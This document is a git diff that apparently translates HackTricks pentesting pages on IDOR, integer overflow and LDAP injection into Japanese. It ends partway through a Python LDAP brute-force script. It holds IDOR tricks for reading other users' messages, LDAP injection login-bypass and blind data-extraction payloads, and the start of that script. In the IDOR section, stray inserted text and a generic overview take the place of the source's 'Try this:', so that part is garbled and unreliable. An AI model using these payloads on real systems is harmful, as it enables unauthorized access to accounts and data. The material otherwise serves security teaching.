☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
diff --git a/pentesting-web/idor.md b/pentesting-web/idor.md index a9b526304..661292a24 100644 --- a/pentesting-web/idor.md +++ b/pentesting-web/idor.md @@ -1,135 +1,146 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **あなたはサイバーセキュリティ会社で働いていますか?** **HackTricksであなたの会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-**Post taken from** [**https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489**](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) +**投稿元** [**https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489**](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) -# Unsuspected places to look for IDORs +# IDORを見つけるための予想外の場所 -## Don’t ignore encoded and hashed IDs +## エンコードされたIDとハッシュ化されたIDを無視しないでください -When faced with an encoded ID, it might be possible to decode the encoded ID using common encoding schemes. +エンコードされたIDがある場合、一般的なエンコーディング方式を使用してエンコードされたIDをデコードすることができるかもしれません。 -And if the application is using a hashed/ randomized ID, see if the ID is predictable. Sometimes applications use algorithms that produce insufficient entropy, and as such, the IDs can actually be predicted after careful analysis. In this case, try creating a few accounts to analyze how these IDs are created. You might be able to find a pattern that will allow you to predict IDs belonging to other users. +そして、アプリケーションがハッシュ化/ランダム化されたIDを使用している場合、そのIDが予測可能かどうかを確認してください。アプリケーションが不十分なエントロピーを生成するアルゴリズムを使用している場合、慎重な分析の後、実際に予測できるIDが生成されることがあります。この場合、いくつかのアカウントを作成して、これらのIDがどのように作成されるかを分析してみてください。他のユーザーに属するIDを予測することができるパターンを見つけることができるかもしれません。 -Additionally, it might be possible to leak random or hashed IDs via another API endpoint, on other public pages in the application (profile page of other users, etc), or in a URL via referer. - -For example, once I found an API endpoint that allows users to retrieve detailed direct messages through a hashed conversation ID. The request kinda looks like this: +さらに、他のAPIエンドポイント、アプリケーション内の他の公開ページ(他のユーザーのプロフィールページなど)、またはリファラーを介したURLでランダムまたはハッシュ化されたIDを漏洩させることができるかもしれません。 +例えば、私は以前、ハッシュ化された会話IDを介して詳細なダイレクトメッセージを取得することができるAPIエンドポイントを見つけました。リクエストは次のようになります: ``` GET /api_v1/messages?conversation_id=SOME_RANDOM_ID ``` - -This seems okay at first glance since the _conversation\_id_ is a long, random, alphanumeric sequence. But I later found that you can actually find a list of conversations for each user just by using their user ID! - +最初は問題なさそうです。なぜなら、_conversation\_id_は長いランダムな英数字のシーケンスだからです。しかし、後で気づいたのですが、実際にはユーザーIDを使用することで、各ユーザーの会話リストを見つけることができます! ``` GET /api_v1/messages?user_id=ANOTHER_USERS_ID ``` +これにより、そのユーザーに所属する_conversation\_ids_のリストが返されます。そして、_user\_id_は各ユーザーのプロフィールページで公開されています。したがって、ユーザーのプロフィールページで彼らの_user\_id_を取得し、それに所属する_conversation\_ids_のリストを取得し、最後にAPIエンドポイント/api\_v1/messagesを介してメッセージを読み込むことで、任意のユーザーのメッセージを読むことができます。 -This would return a list of _conversation\_ids_ belonging to that user. And the _user\_id_ is publicly available on each user’s profile page. Therefore, you can read any user’s messages by first obtaining their user\_id on their profile page, then retrieving a list of conversation\_ids belonging to that user, and finally loading the messages via the API endpoint /api\_v1/messages! +## 推測できない場合は、作成してみてください -## If you can’t guess it, try creating it +オブジェクト参照IDが予測不能な場合、オブジェクトIDの作成またはリンクプロセスを操作できるかどうかを確認してください。 -If the object reference IDs seem unpredictable, see if there is something you can do to manipulate the creation or linking process of these object IDs. +## アプリケーションにIDを提供する -## Offer the application an ID, even if it doesn’t ask for it - -If no IDs are used in the application generated request, try adding it to the request. Try appending _id, user\_id, message\_id_ or other object reference params and see if it makes a difference to the application’s behavior. - -For example, if this request displays all your direct messages: +アプリケーション生成のリクエストでIDが使用されていない場合、リクエストに追加してみてください。_id, user\_id, message\_id_または他のオブジェクト参照パラメータを追加して、アプリケーションの動作に違いがあるかどうかを確認してください。 +例えば、このリクエストはすべてのダイレクトメッセージを表示します: ``` GET /api_v1/messages ``` - -What about this one? Would it display another user’s messages instead? - +これについてはどうですか?別のユーザーのメッセージが表示されますか? ``` GET /api_v1/messages?user_id=ANOTHER_USERS_ID ``` +## HPP(HTTPパラメータ汚染) -## HPP (HTTP parameter pollution) - -HPP vulnerabilities (supplying multiple values for the same parameter) can also lead to IDOR. Applications might not anticipate the user submitting multiple values for the same parameter and by doing so, you might be able to bypass the access control set forth on the endpoint. - -Although this seems to be rare and I’ve never seen it happen before, theoretically, it would look like this. If this request fails: +HPPの脆弱性(同じパラメータに複数の値を提供する)もIDORにつながる可能性があります。アプリケーションは、ユーザーが同じパラメータに複数の値を送信することを予期していないかもしれません。そのようにすることで、エンドポイントに設定されたアクセス制御を回避することができるかもしれません。 +これは珍しいことのように思われますし、私はこれが起こったことを見たことがありませんが、理論的には次のようになります。もし、このリクエストが失敗する場合: ``` GET /api_v1/messages?user_id=ANOTHER_USERS_ID ``` +以下は、ハッキング技術に関する本の内容です。以下の内容は、/hive/hacktricks/pentesting-web/idor.mdというファイルからのものです。 -Try this: +## IDOR (Insecure Direct Object Reference) +IDOR(Insecure Direct Object Reference)は、アプリケーションのセキュリティ上の脆弱性の一つです。この脆弱性は、アプリケーションが直接オブジェクトへの参照を許可している場合に発生します。攻撃者は、他のユーザーのデータにアクセスしたり、機能を悪用したりすることができます。 + +### IDORの検出方法 + +IDORを検出するためには、以下の手法を使用することができます。 + +1. ユーザーのアカウントやデータに関連するIDを特定します。 +2. ユーザーのIDを変更して、他のユーザーのデータにアクセスできるかどうかを確認します。 +3. リクエストパラメータやURLのパスにIDを変更して、他のユーザーのデータにアクセスできるかどうかを確認します。 + +### IDORの悪用方法 + +IDORを悪用することで、以下のような攻撃が可能になります。 + +1. 他のユーザーの個人情報や機密データにアクセスする。 +2. 他のユーザーのアカウントを操作したり、権限を昇格させたりする。 +3. アプリケーションの機能を悪用して、不正な操作を行う。 + +### IDORの防止方法 + +IDORを防止するためには、以下の対策を実施することが重要です。 + +1. セッションやアクセス制御を適切に実装する。 +2. ユーザーのデータへの直接参照を避ける。 +3. ユーザーのアクセス権限を適切に管理する。 +4. リクエストのバリデーションやエスケープ処理を行う。 + +以上がIDORに関する基本的な情報です。この脆弱性を理解し、適切な対策を実施することで、アプリケーションのセキュリティを向上させることができます。 ``` GET /api_v1/messages?user_id=YOUR_USER_ID&user_id=ANOTHER_USERS_ID ``` - -Or this: - +または、これ: ``` GET /api_v1/messages?user_id=ANOTHER_USERS_ID&user_id=YOUR_USER_ID ``` - -Or provide the parameters as a list: - +または、パラメータをリストとして提供します: ``` GET /api_v1/messages?user_ids[]=YOUR_USER_ID&user_ids[]=ANOTHER_USERS_ID ``` +## 盲目的IDORs -## Blind IDORs +時にはIDORに対して脆弱なエンドポイントは、直接漏洩情報を返さないことがあります。代わりに、エクスポートファイル、メール、そしてテキストアラートなど、他の場所でアプリケーションが情報を漏洩させる可能性があります。 -Sometimes endpoints susceptible to IDOR don’t respond with the leaked information directly. They might lead the application to leak information elsewhere instead: in export files, emails and maybe even text alerts. +## リクエストメソッドの変更 -## Change the request method +1つのリクエストメソッドが機能しない場合、代わりに試すことができる多くの他のメソッドがあります。GET、POST、PUT、DELETE、PATCHなど... -If one request method doesn’t work, there are plenty of others that you can try instead: GET, POST, PUT, DELETE, PATCH… +よく効く一般的なトリックは、POSTをPUTに置き換えるか、その逆を試すことです。同じアクセス制御が実装されていない可能性があります! -A common trick that works is substituting POST for PUT or vice versa: the same access controls might not have been implemented! +## 要求されたファイルタイプの変更 -## Change the requested file type +時には、要求されたファイルのファイルタイプを切り替えることで、サーバーが認可を異なる方法で処理する可能性があります。例えば、リクエストURLの末尾に.jsonを追加してみて、何が起こるか確認してみてください。 -Sometimes, switching around the file type of the requested file may lead to the server processing authorization differently. For example, try adding .json to the end of the request URL and see what happens. +# IDORの影響を増やす方法 -# How to increase the impact of IDORs +## まずは重要なIDOR -## Critical IDORs first +常に重要な機能でのIDORを探してください。書き込みベースのIDORと読み取りベースのIDORの両方が高い影響を持つ可能性があります。 -Always look for IDORs in critical functionalities first. Both write and read based IDORs can be of high impact. +状態を変更する(書き込み)IDORの場合、パスワードリセット、パスワード変更、アカウントの回復などが最もビジネスへの影響が大きい場合があります。(例えば、「メールの購読設定の変更」のIDORと比較して) -In terms of state-changing (write) IDORs, password reset, password change, account recovery IDORs often have the highest business impact. (Say, as compared to a “change email subscription settings” IDOR.) - -As for non-state-changing (read) IDORs, look for functionalities that handle the sensitive information in the application. For example, look for functionalities that handle direct messages, sensitive user information, and private content. Consider which functionalities on the application makes use of this information and look for IDORs accordingly. +読み取り専用(読み取り)IDORの場合、アプリケーション内で機密情報を処理する機能を探してください。例えば、ダイレクトメッセージ、機密ユーザー情報、プライベートコンテンツを処理する機能を探してください。この情報を使用するアプリケーションの機能を考慮し、それに応じたIDORを探してください。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksであなたの会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/pentesting-web/integer-overflow.md b/pentesting-web/integer-overflow.md index 6ca368ed0..5f9510577 100644 --- a/pentesting-web/integer-overflow.md +++ b/pentesting-web/integer-overflow.md @@ -1,14 +1,14 @@ -# Integer Overflow +# 整数オーバーフロー
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
@@ -17,34 +17,32 @@ ```rust fn main() { - let mut quantity = 2147483647; - - let (mul_result, _) = i32::overflowing_mul(32767, quantity); - let (add_result, _) = i32::overflowing_add(1, quantity); - - println!("{}", mul_result); - println!("{}", add_result); +let mut quantity = 2147483647; + +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); + +println!("{}", mul_result); +println!("{}", add_result); } ``` -{% endtab %} - {% tab title="C" %} ```c #include #include int main() { - int a = INT_MAX; - int b = 0; - int c = 0; - - b = a * 100; - c = a + 1; - - printf("%d\n", INT_MAX); - printf("%d\n", b); - printf("%d\n", c); - return 0; +int a = INT_MAX; +int b = 0; +int c = 0; + +b = a * 100; +c = a + 1; + +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; } ``` {% endtab %} @@ -54,10 +52,10 @@ int main() { ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index 42cd31250..a44713a5e 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -1,39 +1,39 @@ -# LDAP Injection +# LDAPインジェクション -## LDAP Injection +## LDAPインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## LDAP Injection +## LDAPインジェクション ### **LDAP** -**If you want to know what is LDAP access the following page:** +**LDAPとは何かを知りたい場合は、次のページにアクセスしてください:** {% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} -**LDAP Injection** is an attack used to **exploit** **web** based applications that construct **LDAP** **statements** based on **user** **input**. When an application **fails** to properly **sanitize** user input, it's possible to modify LDAP statements using a local proxy. +**LDAPインジェクション**は、ユーザーの入力に基づいて**LDAPステートメント**を構築する**Web**ベースのアプリケーションを**悪用**するための攻撃です。アプリケーションがユーザーの入力を適切に**サニタイズ**しない場合、ローカルプロキシを使用してLDAPステートメントを変更することが可能です。 {% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %} -**Filter** = ( filtercomp )\ +**フィルター** = ( filtercomp )\ **Filtercomp** = and / or / not / item\ **And** = & filterlist\ **Or** = |filterlist\ @@ -46,33 +46,32 @@ **Substring** = attr ”=” \[initial] \* \[final]\ **Initial** = assertionvalue\ **Final** = assertionvalue\ -**(&)** = Absolute TRUE\ -**(|)** = Absolute FALSE +**(&)** = 絶対的なTRUE\ +**(|)** = 絶対的なFALSE -For example:\ +例:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ `(&(objectClass=user)(uid=*))` -You can access to the database, and this can content information of a lot of different types. +データベースにアクセスできるため、さまざまなタイプの情報が含まれている可能性があります。 -**OpenLDAP**: If 2 filters arrive, only executes the first one.\ -**ADAM or Microsoft LDS**: With 2 filters they throw an error.\ -**SunOne Directory Server 5.0**: Execute both filters. +**OpenLDAP**:2つのフィルタが到着した場合、最初のフィルタのみが実行されます。\ +**ADAMまたはMicrosoft LDS**:2つのフィルタがあるとエラーが発生します。\ +**SunOne Directory Server 5.0**:両方のフィルタが実行されます。 -**It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.** +**フィルタを正しい構文で送信することは非常に重要です。そうしないとエラーが発生します。1つのフィルタのみを送信する方が良いです。** -The filter has to start with: `&` or `|`\ -Example: `(&(directory=val1)(folder=public))` +フィルタは`&`または`|`で始まる必要があります。\ +例:`(&(directory=val1)(folder=public))` `(&(objectClass=VALUE1)(type=Epson*))`\ `VALUE1 = *)(ObjectClass=*))(&(objectClass=void` -Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed). +次に:`(&(objectClass=`**`*)(ObjectClass=*))`**が最初のフィルタ(実行されるフィルタ)になります。 -### Login Bypass - -LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed. +### ログインバイパス +LDAPはパスワードを保存するためにいくつかの形式をサポートしています:クリア、md5、smd5、sh1、sha、crypt。したがって、パスワードに何を挿入してもハッシュ化される可能性があります。 ```bash user=* password=* @@ -127,17 +126,15 @@ username=admin))(|(| password=any --> (&(uid=admin)) (| (|) (webpassword=any)) ``` - -#### Lists +#### リスト * [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt) -* [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) -* [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) +* [LDAP属性](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) +* [LDAP PosixAccount属性](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) -### Blind LDAP Injection - -You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection: +### 盲目的なLDAPインジェクション +データが返されるかどうかを確認し、可能な盲目的なLDAPインジェクションを確認するために、FalseまたはTrueの応答を強制することができます。 ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void @@ -149,11 +146,9 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` +#### データのダンプ -#### Dump data - -You can iterate over the ascii letters, digits and symbols: - +ASCII文字、数字、および記号を繰り返し処理することができます: ```bash (&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=A*)) : KO @@ -164,13 +159,11 @@ You can iterate over the ascii letters, digits and symbols: (&(sn=administrator)(password=MB*)) : KO ... ``` +### スクリプト -### Scripts - -#### **Discover valid LDAP fields** - -LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). +#### 有効なLDAPフィールドを特定する +LDAPオブジェクトには、**デフォルトでいくつかの属性が含まれています**。これらの属性を使用して情報を保存することができます。**その情報を抽出するために、すべての属性をブルートフォースで試す**ことができます。[**ここでデフォルトのLDAP属性のリスト**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)を見つけることができます。 ```python #!/usr/bin/python3 import requests @@ -185,26 +178,72 @@ alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",] for attribute in attributes: #Extract all attributes - value = "" - finish = False - while not finish: - for char in alphabet: #In each possition test each possible printable char - query = f"*)({attribute}={value}{char}*" - data 